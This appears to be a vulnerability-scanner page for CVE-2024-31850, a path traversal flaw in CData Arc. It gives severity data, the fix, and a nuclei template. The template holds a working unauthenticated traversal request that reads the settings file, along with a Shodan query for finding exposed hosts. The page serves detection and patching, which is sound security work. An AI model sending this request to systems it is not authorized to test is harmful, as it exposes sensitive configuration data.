CData Arc < 23.4.8839 - Path Traversal

highseverity

8.6CVSS score

3%likelihood of exploitation, next 30 days

88%of all CVEs are less likely

Readycheck to confirm it

A path traversal vulnerability exists in the Java version of CData Arc < 23.4.8839 when running using the embedded Jetty server, which could allow an unauthenticated remote attacker to gain access to sensitive information and perform limited actions.

Impact

Unauthenticated attackers can access sensitive information and perform limited unauthorized actions via path traversal.

Fix

Update CData Arc to version 23.4.8839 or later.

How to confirm it

Send: GET {{BaseURL}}/login.rst
Positive when: contains "<title>CData Arc"
Send: GET /ui/..\src\getSettings.rsb?@json
Positive when: contains "\"items\":[{" and ":\"true\"" and "notifyemail" AND contains in header "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2024-31850 -u <target>

The full check

id: CVE-2024-31850

info:
  name: CData Arc < 23.4.8839 - Path Traversal
  author: DhiyaneshDK
  severity: high
  description: |
    A path traversal vulnerability exists in the Java version of CData Arc < 23.4.8839 when running using the embedded Jetty server, which could allow an unauthenticated remote attacker to gain access to sensitive information and perform limited actions.
  impact: |
    Unauthenticated attackers can access sensitive information and perform limited unauthorized actions via path traversal.
  remediation: |
    Update CData Arc to version 23.4.8839 or later.
  reference:
    - https://www.tenable.com/security/research/tra-2024-09
    - https://nvd.nist.gov/vuln/detail/CVE-2024-31850
    - https://github.com/Stuub/CVE-2024-31848-PoC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L
    cvss-score: 8.6
    cve-id: CVE-2024-31850
    cwe-id: CWE-22
    epss-score: 0.03037
    epss-percentile: 0.87619
    cpe: cpe:2.3:a:cdata:arc:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    shodan-query: "title:\"CData Arc\""
    product: arc
    vendor: cdata
  tags: cve,cve2024,cdata,lfi,vuln
flow: http(1) && http(2)

http:
  - method: GET
    path:
      - '{{BaseURL}}/login.rst'

    matchers:
      - type: word
        internal: true
        words:
          - '<title>CData Arc'

  - raw:
      - |
        GET /ui/..\src\getSettings.rsb?@json HTTP/1.1
        Host: {{Hostname}}
        Referer: {{RootURL}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"items":[{'
          - ':"true"'
          - 'notifyemail'
        condition: and

      - type: word
        part: header
        words:
          - 'application/json'

      - type: status
        status:
          - 200

References

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